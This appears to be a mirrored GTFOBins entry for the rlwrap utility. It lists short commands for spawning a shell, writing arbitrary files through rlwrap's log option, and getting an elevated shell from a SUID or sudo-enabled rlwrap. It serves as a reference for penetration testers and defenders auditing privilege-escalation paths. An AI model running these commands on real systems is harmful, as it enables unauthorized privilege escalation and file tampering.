1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/rlwrap.md
2018-07-04 19:26:52 +01:00

369 B

functions
execute-interactive file-write suid-enabled sudo-enabled
code
rlwrap /bin/sh
description code
This adds timestamps to the output file. This relies on the external `echo` command. LFILE=file_to_write rlwrap -l "$LFILE" echo data
code
./rlwrap -H /dev/null /bin/sh -p
code
sudo rlwrap /bin/sh